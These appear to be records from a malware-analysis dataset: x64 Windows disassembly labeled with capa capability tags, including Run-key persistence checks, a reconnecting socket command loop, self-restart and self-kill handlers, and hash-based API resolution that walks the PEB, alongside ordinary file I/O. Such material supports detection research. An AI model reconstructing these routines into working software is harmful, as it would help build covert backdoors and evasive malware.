joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800027a0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1800027c8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1800027ee
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1800027f0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180002849
test ecx, ecx
jle 0x180002829
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180002849
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180002849
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x180002870
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180002892
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1800028a8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1800028c4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800028c6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180002902
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x18000299e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x18000293d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x18000297e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x18000299e
cmp rbx, rax
ja 0x180002950
test rbx, rbx
je 0x18000299e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x180002dc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x180002ded
xor eax, eax
jmp 0x180002f59
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x180002e27
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x180002e27
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x180002f59
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x180002f4c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180002e6a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180002e95
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180002f51
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180002f04
sub eax, 1
je 0x180002f04
cmp eax, 2
jne 0x180002f4c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180002f51
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x180002f32
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x180002f4c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x180002f51
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180008360
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1800033f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1800034c3
cmp byte [rcx + 0x71], 0
je 0x1800034c3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1800034bf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180003484
sub eax, 1
je 0x180003488
cmp eax, 2
jne 0x1800034bf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180008360
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1800034b6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1800034bf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x18000346c
xor al, al
jmp 0x18000346c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180008360
add rsp, 0x60
pop rbx
ret
Function at 0x180005b60
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rsp + 0x40], rax
cmp qword [0x18000e0f0], 0x10
lea rax, [rsp + 0x30]
lea rbx, [0x18000e0d8]
mov qword [rsp + 0x20], rax
cmovae rbx, qword [0x18000e0d8]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
xor edi, edi
mov r9d, 0x20019
xor r8d, r8d
mov dword [rsp + 0x38], edi
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180005bee
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x38]
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180005bee
mov al, 1
jmp 0x180005bf0
xor al, al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180008360
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x180005c10
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x74], xmm0
mov dword [r11 - 0x24], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
movups xmmword [r11 - 0x74], xmm0
mov dword [rsp + 0x20], eax
movups xmmword [r11 - 0x64], xmm0
movups xmmword [r11 - 0x54], xmm0
movups xmmword [r11 - 0x44], xmm0
movups xmmword [r11 - 0x34], xmm0
mov dword [rsp + 0x70], WSAGetLastError
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.180008360
add rsp, 0xf8
ret
Function at 0x180006530
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x48
lea rdx, str.Restart_requested:_Restarting_self
lea rcx, [rsp + 0x20]
call fcn.1800030a0
mov rcx, qword [0x18000eab8]
mov r8d, 2
mov rdx, rax
call fcn.180008080
lea rcx, [0x18000e038]
call fcn.180003030
mov rcx, rax
xor edx, edx
call fcn.180005c10
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x180006580
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x48
lea rdx, str.Termination_requested:_Killing_self
lea rcx, [rsp + 0x20]
call fcn.1800030a0
mov rcx, qword [0x18000eab8]
mov r8d, 2
mov rdx, rax
call fcn.180008080
call fcn.1800020a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x180007f10
Capabilities:
Connect socket
Create thread
Terminate process

Disassembly:
push rbx
mov eax, 0x22c0
call fcn.1800092e0
sub rsp, rax
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rsp + 0x22b0], rax
mov qword [0x18000ead0], r8
call fcn.180004c80
test al, al
je 0x180007f4d
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x18000e098]
lea rcx, [rsp + 0x30]
call fcn.1800031c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180001b80
xor ebx, ebx
nop dword [rax]
cmp byte [0x18000eac0], bl
jne 0x180007fe4
nop dword [rax + rax]
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x22a0]
mov rcx, rax
mov qword [rsp + 0x2298], rax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x180007fc0
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180007f80
mov qword [rsp + 0x28], rbx
lea r8, [0x180001ae0]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov byte [0x18000eac0], 1
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180007f70

Function at 0x180008000
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rdi, rcx
mov dword [rsp + 0x20], edx
mov ecx, edx
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsp + 0x20], eax
xor ebx, ebx
nop
mov rcx, qword [rdi + 0x2248]
lea rdx, [rsp + 0x20]
mov r8d, 4
movsxd rax, ebx
sub r8d, ebx
add rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x180008064
add ebx, eax
cmp ebx, 4
jl 0x180008030
mov al, 1
jmp 0x180008066
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180008360
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180008080
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov r15, rcx
mov edx, r8d
call fcn.180008000
test al, al
jne 0x1800080df
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1800080d8
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1800080d3
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800081a3
mov rcx, r8
call fcn.1800083bc
xor al, al
jmp 0x180008184
mov ebp, dword [rbx + 0x10]
mov rcx, r15
mov edx, ebp
call fcn.180008000
mov rcx, qword [rbx + 0x18]
test al, al
jne 0x180008100
cmp rcx, 0x10
jb 0x1800080d8
lea rdx, [rcx + 1]
jmp 0x1800080ab
mov r14, rbx
cmp rcx, 0x10
jb 0x18000810c
mov r14, qword [rbx]
xor edi, edi
test ebp, ebp
jle 0x18000814f
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r15 + 0x2248]
mov r8d, ebp
movsxd rdx, edi
sub r8d, edi
add rdx, r14
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x18000809e
add edi, eax
cmp edi, ebp
jl 0x180008120
mov rcx, qword [rbx + 0x18]
cmp rcx, 0x10
jb 0x180008182
lea rdx, [rcx + 1]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000817d
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800081a3
mov rcx, r8
call fcn.1800083bc
mov al, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], recv
mov qword [rbx + 0x10], 0
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1800081b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor edi, edi
mov r14, rdx
mov ebx, edi
mov rbp, rcx
nop word [rax + rax]
mov rcx, qword [rbp + 0x2248]
lea rdx, [rsp + 0x20]
mov r8d, 4
movsxd rax, ebx
sub r8d, ebx
add rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x180008304
add ebx, eax
cmp ebx, 4
jl 0x1800081e0
mov ecx, dword [rsp + 0x20]
mov qword [rsp + 0x60], rsi
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x20], eax
inc eax
movsxd rcx, eax
call fcn.18000856c
movsxd rcx, dword [rsp + 0x20]
mov rsi, rax
mov byte [rcx + rax], dil
mov ebx, dword [rsp + 0x20]
test ebx, ebx
jle 0x180008277
nop word [rax + rax]
mov rcx, qword [rbp + 0x2248]
mov r8d, ebx
movsxd rdx, edi
sub r8d, edi
add rdx, rsi
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1800082c0
add edi, eax
cmp edi, ebx
jl 0x180008250
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rsi + rbx], 0
jne 0x180008280
mov rax, qword [r14 + 0x18]
cmp rbx, rax
ja 0x1800082ea
mov rdi, r14
cmp rax, 0x10
jb 0x18000829e
mov rdi, qword [r14]
mov r8, rbx
mov qword [r14 + 0x10], rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov rcx, rsi
mov byte [rdi + rbx], 0
call fcn.1800083bc
mov al, 1
jmp 0x1800082ca
mov rcx, rsi
call fcn.1800083bc
xor al, al
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180008360
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop rdi
pop rbp
ret
mov r9, rsi
mov rdx, rbx
mov rcx, r14
call fcn.180003bc0
mov rcx, rsi
call fcn.1800083bc
mov al, 1
jmp 0x1800082ca
xor al, al
jmp 0x1800082cf
Function at 0x1800025c0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rbp, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002667
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002667
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x40571dbd
lea rdx, [r11 + r9*4]
mov ecx, dword [rdx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180002662
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180002640
cmp r8d, 0xf70ba12f
je 0x18000266c
test r9d, r9d
jne 0x180002620
mov rax, qword [rax]
jmp 0x1800025f0
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
mov rcx, rbp
add rax, r10
call rax
mov rcx, 0xffffffffffffffff
lea rsi, [rax + 1]
mov eax, 2
mul rsi
cmovo rax, rcx
mov rcx, rax
call fcn.180013410
mov rcx, qword gs:[0x60]
mov rdi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x180002735
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x180002735
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x3d480e7a
add r8, r10
movzx eax, byte [r8]
inc r8
test al, al
je 0x180002730
nop
movsx eax, al
lea r8, [r8 + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8 - 1]
test al, al
jne 0x180002710
cmp edx, 0x6713b9ee
je 0x18000273a
test r9d, r9d
jne 0x1800026f0
mov rcx, qword [rcx]
jmp 0x1800026c0
mov ecx, dword [r11 + 0x24]
mov r8, rsi
add rcx, r10
mov rdx, rbp
movzx r9d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r9*4]
mov rcx, rdi
add rax, r10
call rax
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180002780
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002827
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002827
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x8dc07967
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002822
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002800
cmp r8d, 0x532982b
je 0x18000282c
test r9d, r9d
jne 0x1800027e0
mov rax, qword [rax]
jmp 0x1800027b0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x30]
add rax, r10
call rax
movd xmm0, dword [rsp + 0x30]
mov rax, rsi
movd xmm2, dword [rsp + 0x34]
mov rbx, qword [rsp + 0x38]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm2, xmm2
cvtps2pd xmm1, xmm0
cvtps2pd xmm0, xmm2
movsd qword [rsi], xmm1
movsd qword [rsi + 8], xmm0
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180002880
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x110
movaps xmmword [rax - 0x18], xmm6
mov r14, r8
movaps xmmword [rax - 0x28], xmm7
mov rsi, rdx
movaps xmmword [rax - 0x38], xmm8
mov rbp, rcx
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd r9, dword [r10 + 0x3c]
mov edi, dword [r9 + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002957
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002957
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xff01b6f1
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002952
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002930
cmp r8d, 0xdacd79c3
je 0x18000295c
test r9d, r9d
jne 0x180002910
mov rax, qword [rax]
jmp 0x1800028e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rbp
add rax, r10
call rax
movsd xmm7, qword [rsi]
mov rcx, rbp
movsd xmm8, qword [rsi + 8]
addsd xmm7, qword [0x180036218]
addsd xmm8, qword [0x180036218]
movups xmm9, xmmword [0x180036108]
movups xmm10, xmmword [0x18003f930]
movaps xmm11, xmmword [r14]
movaps xmm6, xmmword [rsi]
call fcn.1800025c0
cmp word [rax], 0
je 0x1800029d6
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp word [rax + rcx*2], 0
jne 0x1800029c0
xor edx, edx
add ecx, 1
je 0x1800029da
mov rdx, rax
jmp 0x1800029da
xor edx, edx
mov ecx, edx
mov rax, qword [0x18003bde0]
movaps xmm0, xmmword [0x180036460]
mov rbx, qword [0x18003be60]
mov qword [rsp + 0x20], rax
mov rax, qword [0x18003fde0]
movsd qword [rsp + 0x38], xmm6
unpckhpd xmm6, xmm6
movsd qword [rsp + 0x40], xmm6
movsd qword [rsp + 0x80], xmm7
movsd qword [rsp + 0x88], xmm8
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x34], ecx
mov dword [rsp + 0x68], 0
mov word [rsp + 0x90], 0x100
mov byte [rsp + 0x92], 1
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm11
movups xmmword [rsp + 0x6c], xmm10
movups xmmword [rsp + 0x94], xmm9
test rax, rax
jne 0x180002a7f
xor r9d, r9d
lea r8, str.Canvas.K2_DrawText
xor edx, edx
xor ecx, ecx
call qword [0x18003f878]
mov qword [0x18003fde0], rax
mov r9, qword [rbx]
lea r8, [rsp + 0x20]
mov rdx, rax
mov rcx, rbx
call qword [r9 + 0x260]
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r14
ret